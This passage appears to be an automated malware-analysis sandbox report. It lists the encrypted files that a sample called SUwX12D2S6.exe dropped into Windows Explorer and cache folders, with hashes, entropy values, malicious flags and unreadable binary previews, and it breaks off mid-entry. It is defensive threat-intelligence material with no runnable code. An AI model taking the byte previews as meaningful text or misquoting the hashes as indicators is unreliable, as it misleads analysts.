SHA-512:	3F9598B6B3678E536B9144B070D4D3409DB7D000646881C7022E356771C0945AD524C1B3FB00820CFC5553B052494F7E3AD8C42D76DD66F2A2B462365859A5C3
Malicious:	false
Preview:	.w.. S...w...v......U......3V.....VB...M..e:t....E.R...[.C.)C/.j7.%q...n1.0.((]....ba.8....u.....m......).?.K....N.`.....h.i:.,v..........2..n.].......8>.._.....65..bq?.C..\|...EM&....R..;W.......GJ...ntoGO.....;.(..jt....m.Ed..m.f.2...%.v.5".y.!...>..Q.l...-..Y...:......{Bhf..L+./4&...+..Y..\|..,.........oA..q@..b}>)q.T...,.{.,.o:.....e...{..@.....C......:..70..G...uV.eu.s* .$.M..[...x...A.X.W..)..)6e.l..R.!x..M,....9..........J....d..6\..'........%......Ru.j.7..1.9........=.)..1te......en.%{.@.%.5.....$E.z!.FS@.,.'".I.;....v0.~.8a..t.....G..JY.&#.%...@q.&a".6k.....Rg.._t.4a.9;K<.TZ.!^...X.M..\|.n&S....3...Jb...d&.v..s......2.(=.\|......m..O..+.{.(P.....)...:.}/%2\S....w8K8..d&^...V.8!\|.......Z..)M..s.....Rf.+E...y\|.....d:.M.....E..y..;.Xz..q.9...}L=...s..............Wd..!W....... .-.T.s...F....wQy\..Irjy/,H..=Z...<.g).4A.S{..C.k....;.<./'S..z......`..[.m...b.\.g.H....U...[n.r..7%..i..r.<E..G...:.((....01......a....)!.'....UD4.....4}..!..$

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.998020004888051
Encrypted:	true
SSDEEP:	3072:51CENylSEbzUsVcmgNVH0AHN8HKuScD2SRt7tuuRPE:51vylS3sVcNZNUKzcD28uuO
MD5:	5D4271428E3EAF01A6B20943332120B8
SHA1:	C3CCF6021A60FB29091BD57CF8607884F277308E
SHA-256:	B0CC6CFF3EFA20C6114305B91A24930C4B0290DB90BC53019F85D48F94291BA2
SHA-512:	ACA54E4934651AEF242C8F7B345B24C3C7BF0D551C68173ADFFFCBC98E95E2008CDF6579F933497015A6FFCC4A3A5504B553ECF039CA786753B4C655B884469D
Malicious:	true
Preview:	....h.8....^S.\|...8...^2.x..dH..Azd.F...0%C..v29X...B...H.7/.B%M+....n...].\|.zr+To.>..{...p....,..WbAf..r^n.h..c!^...X.........>..Y....K..)@..,\.r.4....90.P..3^yr.+k;...R..A............~.......@.=.....\|Q...'.bq....h4D.2...L.em.\..[..-Ki.dk......7-.p.y.....e.....'.1...S..rf&!..u.!.Eq.y.%.v.o..W..33. ..O..E...d&."....R.qc.....wR.....p.."..).......y.7.Dih..1...Z...)..I.C.%I.T..V5....r..a.......~.-z...Io/X...^..SM..Xs...l..L...F..Ma..;^.......Q..._.....w=.-,...u.. ++....7.f(...._._.R ..o+.!y..3...*..p>.T..........D.X3Ss-A4]...C.1..sv_x..ZP..M.H../..}Q.@...G..9.........W...{....E(.H.....\_....Ai.T7..e.......V.....5C.jG.sO}0FZ...9...2.....#B....rP..,.v.....f.........,...L?..sE.z...D.G%...._ksB...........\.</..2..............6.-..A.3,.0...P.{7.U~..!......:...lv.....1..h~...0.8...{).jk........&....m..B.C+Z.....;.d<N.v.R...[.R.(...........`"......xdGG!..[]...^_..fWD......tM..7.h..y.3......vv.h.....m...[N..G.]ro4..Xs.{.$.vwOJ..s5.} hd......

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.998274187650172
Encrypted:	true
SSDEEP:	3072:G46icFCtXWS8iKv6dNtU0fwoj3qULVMpJ/1t:GidtXB8LCXtOoLqULVMpJNt
MD5:	F36CEA2D866E70FB43C183622BA62824
SHA1:	42E61D556045D31ED01FF54B53548EC3553DFD87
SHA-256:	2ACCE6F028BE2380D3C3F2D54F416C99C165B5E68BAE68EA02B28E2FC2F892A1
SHA-512:	77DAB7D07D2E680649C46DA734619F61FA40E5DCD693D496C02F5E2E1168185F957958572F96D05AD8E9EE6F66F172D68D8B6BAA22DC45444E680B783ACCC8D2
Malicious:	true
Preview:	....h-\|....GU..o.g.8,...}'.ij....}^k`...2u....0b.U.E.y...F...[. ....R.eK2$&...Qc...-.A......LwYx.K1..^.eD..(..:....1....0.....Q.0..(../Ynr..@.]!{.aWD..I..x...1.S.m.k\|..i.Jm...x...q.)zFX\|L"...yi..7.@.'.....s..........1:..e!K...%Au.._.....9.[.e.\|EA.W.H......6..-.~..M......8.g./.\.a..H.......hj`g..d!g!.....X..Z..[.f.6.D....ZX.............BI(.....N.!.....D.5.....4..=.......>...C...Q.)............g.IQ.Z..."M...@~../o]C..._v....%.\|+Yd.`n....,.\...#!D.]`A.....I.T.=I........O.....{..D......%8.I.</..s.F.`WqR..-'D..qw.F....U.W.1.....j{..Y....vy..e.1.zf.X5.]K.W.r........+X.\...>u.YW.......{\|8VD..o<.E.H,I..&.Nh..h.]]..r.....?n%...z.v~~{.....A.....D.....=....Ix_.........z.ZV%.8w.....*....>.s(B)..M..r.......0.re...X8.6..J..7z.[.k.Ur.TBqP.!.n..:...na....J.iyT...7}..P.....T.ce..5...?.R. Z.'t:}.......kQB...y'.lx..}....~$..P...E..s....>L...v.....6...O.'.......d.. ._.R...:..+..X...<$.B........\|......mm.3).....N.C?.mC.n.....-..n.2N.t.V4...<(....;yb.g.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.996631499354237
Encrypted:	true
SSDEEP:	768:Y3njdPXy/gb4jkyMkx5vDTQWUEVjAp+8ELBhEHWW/9nY6F91LrgdplmGVm:Y3V1tivDTTUEVkp+8IEHWW/1ed3mGVm
MD5:	0469845D4E3B095E521843AC50F2E8AC
SHA1:	D30718D2CA92E98B5B40EEB99BDF1C41777DA0BD
SHA-256:	E3C40B3B4C116C092F0B3046FE08312E93FDE6D922FFD1C33ED1BB6CF2E19D38
SHA-512:	D84E161D4949DC48C80D8A277D83F9AAC52BF801740A6C5935939797A322706E4FAE7CA6EA357852CAC287F3B6D8F8CA832F6C0210E808862730A072D02940EF
Malicious:	true
Preview:	......".W....Cf..f...B$mPxs1.@4n..kM>(...[.7....?I....i.<V.Y.H2.;...~.+.!......soU..q.j.B6...I.....il\..Y..3.....q.<...6Xj..\|.X.._.1Q.C. .U.?8?...F.{8..N);."?I......?7D.w........[{.................g<t..~^{....%..GwO.m.8.[\;.....plq....E.^......M..=..9..}O.P..A.:........&.....g....E02..L;.....]z...Sm?..^h.'aj.L.....i`...;.WV.&$%.g.o....p/\3U....f..".......J pHk4.0Njr.iF.5k.OyE.Oxq]:-.+..V<(M.?$..;...(.P...U.f...n.=..3$N...F..(\v.U{.J....c..........o...-...<......+'%/.....2<!.%3.....^ .\|..H.qax.....T._.q....X.btz.]...,_v.I.O$.......c.).E.%$.!0W.......f)t.......h.....-.....t"~.[W.K.e.....k?2.\..N^%w\.:...;f.U..i...[............:[X..L....EB..!)}?eH...B}..f..2....!(....].z..z.........BFg...IQ..O.G...y....u.l...11..G...n.Hl..N.{.,...li.%.....[..:..S..F....@.[...-..\..{...FL....p.7....?P.O.....K/.t.U..[n;..u..R.......U..F..=.x....)..Z.......wL.t.......7...H.~N-n..;z...lu$.7(.v..:".@..).n....I.u.>Z.g.#....+G...$\xq.m.Yv$C....,..-bM.0.U....,

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.997791434712994
Encrypted:	true
SSDEEP:	1536:KhRnIzS4qfvlV5c/m5pyIxu8FM+oQX8Y10PZQDo27OPgdOgQQZ5ja:KhRnKSlfvlV223tFFovY10mo275OgQQC
MD5:	5900B820B6233931BBBF3FBB92B7BF6F
SHA1:	8A3BA1A617C3E2EF169E4C482A7C235303D9D19E
SHA-256:	A9F8E980B449054F11B0B9A198525B742314C3A97261CD7A00A47CB6DC560659
SHA-512:	2D6830F435A67EC1B0592CC3E1E6837E916B511631D45CCAEA316DFA9AB4AC9EAB089FAEDD863C0FB1E418B1A616D4354A7E8E4CDC9E7A0F18291AADF947E084
Malicious:	true
Preview:	........[E..F.V.'..k..uh...kKo;..Y.x..S.H?2..d.}...8V1.c.>u.&.E;.R$...7.x.....hV.\|.2x....m..g'..<...^TG....$s4....}z.....$._.4T.}...3..@.+.......(....L..F..x..H...a.k....!.G..j..Z.. .{.=..;#..........7.{.K.m.@.s.....F...K........i}.....5....Q... ....8w..4.K_.y~..H.7.:..b]...T..\s.$<..\|.;.O2:t..#..ILX,.0..<.......v....7t...W.I..?6>.h....n......:RF.x....................1.....h..... G........&.N./..V......]U.)B...-.......R.2..;....@.............I)...c....#.j.........x....;j.sW\........TB.!1./.F..[i.gC...VO.Js.W...0...2.nW.RY.~.8.=.}..8...X..s..;L>5..E..E=....!....c...>z..mMS...L....bG..}....X..WVu}...k..^.o\$.......2H.....(\|...XsRz.I.B.....d...V.G.M..t....?').>.K..+......W....1\4......n...n.R.S0..........SGN..Tf....!5.$A..+..$ .G.\....]...:..M]..)....87..q...._%.n.^.G8...23..4..q?...$`.V..i....X..H.X@\|..TY...X...~A..G.`[.r8....)..u}..n.;...2m1."..o.P.Kx.).y...\!".....c..T.-.W......'.9.FN...}#L.r..7.(A.-.J..<......%..\|.........`

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.818977691858645
Encrypted:	false
SSDEEP:	6144:L5oLvGPIw+tvOJBqccrKluysCZkH9QYG6WcD:LmGatUscu7y3qH9QYTD
MD5:	39AD4773107424D47466991D09660F2F
SHA1:	B657A9DA0E0F7A7B0D07CA8648849F936AB37DF7
SHA-256:	05E9D0DD92EF3470C06EDC92AC89C56FBEDE24EA0A35BD05FF34484F140A4345
SHA-512:	6E4F6979240C50F61E7DACC0B2F921E79A9BD83CB11368AB715F142AD26C7AB30C4C8616B867EDFDADE6C3D9B718B537708C9780E4D8FAA314ABFF81994FC8D3
Malicious:	false
Preview:	. ....DcJ............g.....K.7.Q..d(1....C7.CcM....S...I..aD.A..n"_%D.a..]..B.....'.c.S&...Q.....R..R4-..V.7....LE.Y..{dW..R..%-D.s....dp.)..m...+.R.\I?,...H-...a..'..g....b...G...]...:....C..F'..q.V.U.;...MqM.X.......O..;...FXTq!;J..`.L.).wf U.5\..NN....~..)] `....b...)AoDVT....2...nl....X.k8.R......Ad4..r.mr.~.WDK..k.t.x.D~.b..{..\|r.~....'.?.l.G..r..N....h...V.>.m.`9.m.m<.Q.<....=...iY..'...hR.."#..+..8N..},I..u......%msZJ.X..........K.....H.IV..P..O.x).t&t.p.....)..<L.3%.=...\....}.........El.d..q....=.%.D9~...........g.A.z&%K..............-#..+.......}#..t;1.....;..7r..w.0..\..t.../.......&..........6x....O.q(..}.F.!.V.;.JG..........P.....?..~.@.....2}2T.i..%..x.:.V....3hx...?E_...RP.v(..).K{..&.........d.u..&.e>.6..<L^..s.....Rk..K[...^....?wk......JH....Q.u....f..q:^h........:.......!.9L.....bI_.~.i....1.d....o...x....IXki.k...=C$...d.":(K.4..../T.^..q.......K..g.i4.Ii.....Ed.9.V..t...4a.z8...=..x...r.e*<...mK..>...Y~U...^.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992016161506726
Encrypted:	true
SSDEEP:	384:s8fPL5r9k9IIxaEpYxuK8Jqb1XxIbuaURRvLXkw+9QIfOuRQ5mWHvgpoCYPZeq:s85ri9xxaqYjIi8wowzchWPgGCYPQq
MD5:	A63C8FB7D1A0AFD38CA13A8790D1AA2A
SHA1:	9B04F26AF1E5F8009005A4FF00985135683B4E96
SHA-256:	BA6A3ED52F079DB50DB971233F9961AD031DA755DECA2A7444507596520CB349
SHA-512:	1D20102908F7C7E3D5879053392B41DA72C8286E0969A89D48605E73C73533E745F4E56DFA8C4811BF6DF04FE4C2E02443795432CE3B9933B036F9E1291CB262
Malicious:	true
Preview:	. ...Jwx.....pQX..p\9.M.v./.o...s".hCe...{......k..u;.......P.V}.....4.Kl....i.=....?.S.#....'....a.17`u.2...^......yd.d%rn>...'.7[..?..7.n..H.Lc..Q~.<....}I.V~yt&...#.Erq"8..T..g\|.........P,q....)cmV..2;...qt402.H!..".,z.X0.,a..8.B.6.6q0.-:;..63...fy.6zP/L.LnP"..j...U.K..........m...w+pi..b.&.r...&#..9..[.5$.k3.:...6#m.B..zRSS.S..E/Fe..}.N...C .H..$+.`W/.VFt"...r.f.e=4..Z:.)..G..R...{..l.,2...t.W...$......4..#P..$...O..H(....0jSA....B.NV..).4:i..g0...........u......}.....Yq...8..1S...Y.vY...r.............~.2...f........7..}da(hA....6f-..k..M.o...fG9T..5...D`^.5...Q..!a...m).@....wZ.J...T......0.!m.].l.....L....>.xo.S..4j.i39...B-...Mu.............e.h..9D;.Rl.O.V...Q(.8w...IY.U.U.YF....n...v.._.8.\|...]...~..,.x.y....N..NX.bo#.R..qW.8....;.H.t.\|.eT."d....p..K1.X....o9&[.T./..XJ]oFp.&....`......l..]$.lK..\|2p5..BtW..?J..F..SR...g....&....74..5.....+..q,..!F<.>..}....~.wp...'.[K;7}....9..-.!...G. .4Y.}.]....3X.......u.A.\.......J.{{..

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.274028225989634
Encrypted:	false
SSDEEP:	6:4Wv1GUGxT8CbZQeogS8wCn165qqUoEA39WBXUhIIPSsMzjhPcii96Z:TIUGT1bZQCShC161Wd+hIIVejVcii9a
MD5:	942678390BE0CF9A62927F1FA0B0E205
SHA1:	0D38657612C2AC1D37520A22EFCD7EC4AC731489
SHA-256:	D684CC794401823383850A10C0B92F0A1EC7C14013E59CC213BA3DEC7091D941
SHA-512:	2587B28313A03D678062F3DFE5CCC403F3EBF17C24F91587188912E80C93D6A19D3E7FD21B8C81A6927BFF6228F3D89C9FF25346701A417BE59524AFDA50CFFA
Malicious:	false
Preview:	CMMM ..6O.#.._....(lHX<AR.V.Gx.`.....L(.6..._%.:..g1......'..=5........4..#..T.N..<.e\|.#.E...)...IP.3uO.uNms.o.%).D.4>...nlp....+..D.r.p......9.X.:6.(>{A...Ck....d.0.J..q.'uz]....U.a"0...q^.6N.#'BA.(<..P..5.+._.U.\|..)..Z.FB.><}WU.....f....!Z.c{b........X..Z...pX.oitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.294597316385189
Encrypted:	false
SSDEEP:	6:8MT982QYtUpBwp+5hcoxaXzjn5PNXH9nd0BdrefXaYEevCOzjhPcii96Z:FT98HYtyGp+5h3ovH9d6Iy/evJjVciik
MD5:	8197FEC59EDD616A522685203C39078B
SHA1:	A0FB786F032AF97EB77A09975D6397300F05CC6A
SHA-256:	9FD401D3F26B3644988EEECD57F93935BC404BC8E357C44F3A9348D2EB63C66C
SHA-512:	18E9DAF81F5744C4F660850D75A3D59461E72F3C8D1270700997346F369C588081D08ADAF9FA841CE812A00C412F15E4143AA5CF7FF38801EF8BB7FF8803D2BE
Malicious:	false
Preview:	CMMM .7.+.U...A.Pfc..$>.._~......bF.E.,PG.T...P]..f.J\....J..W.....p.73.!....Q9`.I.h..rn..u..0.....+...W.=....:p.y.0.........{. G......."-Ek.."#!..c.y........v..x...c.[..A#..Q.2.M..@Z)...t.......@...W.8..}..=$..w..k....X>3...m....{.W2,&.V4.....o..8;9Y4~%...7.Q.Q.mw..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.289010724206418
Encrypted:	false
SSDEEP:	6:erk4k9IoPXkGe5a/PAD1lpFxmAMlgQyUXNVuPpWLgJEOr9TBrKMzjhPcii96Z:0pkioO5aHARlpFx4p9VyEOOejVcii9a
MD5:	CFEE3F5A271C5EE2E8A0297DA5BAC87E
SHA1:	44EC0810FEDC6F783243BBB034BA420093ADF4B7
SHA-256:	99E6E8CF686A4DD7E3AD623FE518C048C0536AFEF78C1FCAF9577BB2709EE9CB
SHA-512:	6A83DB7170E1D323F8BDA28BC8EA7084C3A5E9B6C10C686492CAD1978E2F90801970FDA2AD3ECB13F1F7B567B54C851CC0BAAA7B90268AD4FF740F3D05E84E7E
Malicious:	false
Preview:	CMMM ...\...O.{...].pE.n..n.l.U..?.w......D....6...w.N...".t.f../...7Ec.C....N...].........Xu.c0%PZt.u.X......-.Bs.%.i.`j1.v9K7A...5...%,D..xA.'..9.......+.q......4..n.....Pv...g.h....i.....n..Slj.G..Wc..M..,..+.(.#...N..$.*q.~/,>....[.b.$z.$. B.. .a@.&.\|....!..0itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.315783142330878
Encrypted:	false
SSDEEP:	6:Ot4UXSwGLPrLxcyHspiy3ht2imFZHY1FBsh60U6dWA4J+lFO2KuzBzjhPcii96Z:OtjXSdLxcyMprRarHY1cWA4YlA2K8jVX
MD5:	D7B7DD178D4EAEEBF94EF257A0405875
SHA1:	72F89F3B9762D68D3A4F41C976F27EEB2A62E051
SHA-256:	ED1E73816CCC502F6C4EE8B1E52AF04E11FCE1358F9579AFE9A2480CC8445F01
SHA-512:	460CDAAF84CDA70F37E572ADB820623E923005241335B60E2F5A73F33F4C1225DB2419DC481782A85E2B8EBEE622883980DB4AD093BC63D2DB22DE150323D27A
Malicious:	false
Preview:	CMMM ...(.%....#..?%......f..3{..y..r.3_>..U.~..~....nJ..#\|.7....{k......7wh...Za.t......wi.-..d..5.Y4z...s..s.......N. q..'.../\.,...t.:...,5....e.&,.."..i(\|..0.].R.4..W..S...z)..Fq5........'....m..^..N..gsq.8..+..u{.?..N....,...G.....E.e..1 ...jzXr.z.....i.j...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.257898512272267
Encrypted:	false
SSDEEP:	6:92BGJBDRSzk5Pcx4giPIY7EZ3zf+HHkxK9s9P5BTfcZjeMzjhPcii96Z:9z/AzkZcxwwYoJzW2+s9xWjDjVcii9a
MD5:	F0D4BE42D5A4EA8E9AF9D5D6C9B7735E
SHA1:	9D4C622E12103255CD03D172EB889ED8BAFE5B2A
SHA-256:	80A417C5FF3154B1575249BD985B1E79E6286981D3E35A3C89F8F373925F3840
SHA-512:	567AFDBE4F4F946D3C7836128B49EB04F5F21E8926F68437EF54BC1B85D1CFCEBA64294C1283A0B59A9E89A3E30061C24B15269CB0505CEAD0681408DFD49F71
Malicious:	false
Preview:	CMMM ..m..9.8Ph8tF..,..h......N.FH..0.P..7;>.@~....-....k`;....P...c.1-.....V..&....?...+..2..^..:..]6....u.......8...VC..}...];!.u..v8....W3buR"..4,...D.zq....:..3kn?......z..%..\5hV.3...0!\.1E$.V......T.f......j.V..C........\|-....3.F...g.Y..hQ...#..v.@....Z.Q+_w....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3019043611191154
Encrypted:	false
SSDEEP:	6:U/M5tgj4/XtLqdW22hA5Hwnvh0pHD9aJA4KkX9GHkTBvBzjhPcii96Z:D5tA4/XQd6hKQn5+HDUFXkHSLjVcii9a
MD5:	73E0ED24B359584D525D1166CF1B29C9
SHA1:	3A2FA07281E062E7D77B19ABD0050AF90DAE8664
SHA-256:	3B4DDEE262661495E03B863B62DF32212AE2296344D761D0BFD117A8B6BFF399
SHA-512:	8246BC228F6AD3BA1F38144B551A7FBE8DFA07E7C82992E446F949D149D4A3BD27DD1F146C3220FC68A5E97F635E92BC37A0BED86B8CF2EF7AF92B3F26DCCC1A
Malicious:	false
Preview:	CMMM .t67RQ.....:=..`....ZN.p.........KF...(a....5...$......... .i.y.m..].9=.h.g...J\....4.c^.VS....AJ~.0U>....RY.....[\.......O....DS.. .U.2.#9....6.....=......<.V.....v....{....m6.H./..d..=,.^h#5...J(/.Z.......z.~../......p........].d....7e#.....%..<.4./A.Z*.7%itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.276981376478884
Encrypted:	false
SSDEEP:	6:hxExfVY+Sn/TJewS8JCfcws9g4bY9dzPLIeWZ9HNZqNzjhPcii96Z:hxExfVe/T1fC5JTz2+jVcii9a
MD5:	9DB4D8FC53C05E0B86E795E23A6C51F3
SHA1:	49D930A2D4762BCEF8E79B115B411C48BEABA7F2
SHA-256:	B11BF4D6E1CC1DEECF82B074EC5F7C0E47CA27F00E614E42E010121F05F6CC6B
SHA-512:	F437CC705A659775ECA9DE2D7D36E7A979ECE66B0431F1C9A19C0EE7ACE740337F120118763C8173F895655D94342CF172396555EBBCA84A7593EBDD60FC3598
Malicious:	false
Preview:	CMMM n(U...6....*.h`..\!...>\}..v]...70)...Q.f>....T.t!.'4.j......F.....<y.......SWP...F. L./.../..p.N:.W.LR..}..V..,.C..M:....o.U.4.t.d..q#b.`.YT#s.;.R......r....U.5.Q .G...Ua....Hv..9.,v...!.....T.R=cni/..VT._..B.p.)G.H\aZksAm...BV>Mn.Ho...;..9.`.x.P.?.@.......NG.hitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.206431051554636
Encrypted:	false
SSDEEP:	6:ob9eiIRObaPGOFdgKpgBku9JoVPYdo3IYAdRRk45azjhPcii96Z:ceUaOOAKeBkywPYdEADwjVcii9a
MD5:	F6CA9225C6D151E37C4CF3CF7124C0CB
SHA1:	9F162A89155B7492FB45302EE80EE31F914018EB
SHA-256:	BE5123195122DAD03F0D4C3B26B796B08F844E6DED8D5A4B9597B978E6E7AE07
SHA-512:	92B6F27E2592B91A42FED2E1F222BBEE6A88109455D1D3FDF83810BCF2F7FAB36950F91FB720D2D8B0CD3F422AAE3D2428075C87D7F7859090856535E5778310
Malicious:	false
Preview:	CMMM .<..ty_~.......<..E.`+....h.==U....E.K..z..t.>....kU.... ..8...I..d.G.[Q.../u:._-R....O.E..e.......w78..^.E.@./....m....Gn...YI.{y o...8..K....*E...@.5.NA...v/.1....i..s?.l..........f!3...kr...V... S..1..m.q.D..$....K.(.<.....WM.(tA`.3...&...n.g....O.#o.$..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.374567122203876
Encrypted:	false
SSDEEP:	6:rhAR2ky89PTAoGG90RILPdtQ576GW1cmBgEym1rHb3wHzjhPcii96Z:rhM7GG6qdtQ5uB1F1y+7ATjVcii9a
MD5:	DBAFC01CE70BC96CA4523ED94298634B
SHA1:	0F7A4D23081B6393F507BD4439DCD3D7A3FC4CAC
SHA-256:	73D6BC3D990DBCFD0A7D361D4FF0550E155B4506D547910533B5C41D27A93B55
SHA-512:	F333C9EB614980E8D9790DEC22DE5C90996EE541AA258093A30165F10B05D9ECEC79B6C1034FBE078C492737000553F867CC7390CDFE77D720A38E87ACC066CD
Malicious:	false
Preview:	CMMM .?.!.#..".[<.t..9....8..O..>.x..../...4......j.:.-.g.d....Z^...!...Y?..L.2,.h..=..H..R....T..:.{.!.qm.....L.8*.T.8?......].m;.f...SG..............%H.....1m......H.W..A....>-.(}.o.......R..g.....U.a.#.J..O...2BM.N....qbcf.Z>....]..o..../P.V.....I..5.!/....@itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.287668808346884
Encrypted:	false
SSDEEP:	6:spPf3igrw+fIPUVa0/l5adWP3KG29sb9kR3h4wN7zjhPcii96Z:spP/3rpVa0N49e2uwjVcii9a
MD5:	04643CB8A68B9416A55418B0F3EADA3C
SHA1:	BCC7160D3A5D19925637BAA2CFEAF5635FF915D9
SHA-256:	4F80A5BFED2E042A24E01DACC4E78122635E9E417C84B994B9CC39AC76D394FC
SHA-512:	670856F2C14F53A79426DD3B342A2F8F0972CC6984F30BC96F8424A476201871D8AD1DFC75AACB2BF8256CF8BEE5BD7B13A3B4AE74F9BA1DA08ED0C3DCE8F710
Malicious:	false
Preview:	CMMM ...c.)[...YQ..g.D.s......GX...;N.%.T).I+Vr..R`H6v-......d7.z.t)...bN...Y.....^.8..z..QC......I.&@9F.+]S.P..g....<!._u......Qp.q..28...d..L.y!.s..]".\|.m..N...SY....;{..6.3./..*.S..c .T....0^}5a..a.7.......R.WM.....3.cg&X-...":cN....K.f..J...E....6..:...VKY..iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.260943119814843
Encrypted:	false
SSDEEP:	6:iru70hlKZ7Wwhgk2Uw2RkRCws8ByUf2vH3KWz+uBK3cAp5AyDSrhDUcbJzjhPciD:iquMpWwh0p2d80UfaquWcAAyDSCcbxj9
MD5:	AF9C192C78AABE5E663FCA9C2404A753
SHA1:	12A5F005D0707ACE0A0F1A0A8C08264AC463617E
SHA-256:	676D542CC52C9FD1117A8A032C25449A8130602C17DAFCD97CA522FEF8FDB161
SHA-512:	0F447E805700C054EA5D1AE9B8836F9E3D0B1344D00A9AD06405B2AE68A1DBDC917A775C20D96536F18A701AF9BB3E5F51FB7ABF0D2265E08712F1427AA5C063
Malicious:	false
Preview:	CMMM C..$..W#...f([..>....,...Y+....w.K..</..".p...G.$.H..i,...U..(..+B_L....E.....h......&UD....b...E.......&,(........ioS_..h.d..e..mq..d>g..)N.k..e.q9..S.._W..Ff),..(...5.b.....bfE.(......s.4../@...$.....mi.e._..wf.C.<.5..an...q..QWg..{,~R.)X...G..1..e..A......x. P8itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.328343431123869
Encrypted:	false
SSDEEP:	6:q/luA9p2AzJsqYa8qzzDksPXWXUrbu+nvrdl9bzNfihPCy0zjhPcii96Z:qtuy/zJsqhnHvWXUrbuwrdDxitt2jVcq
MD5:	6D53695EE3E7C2C95CDBDC83623860F5
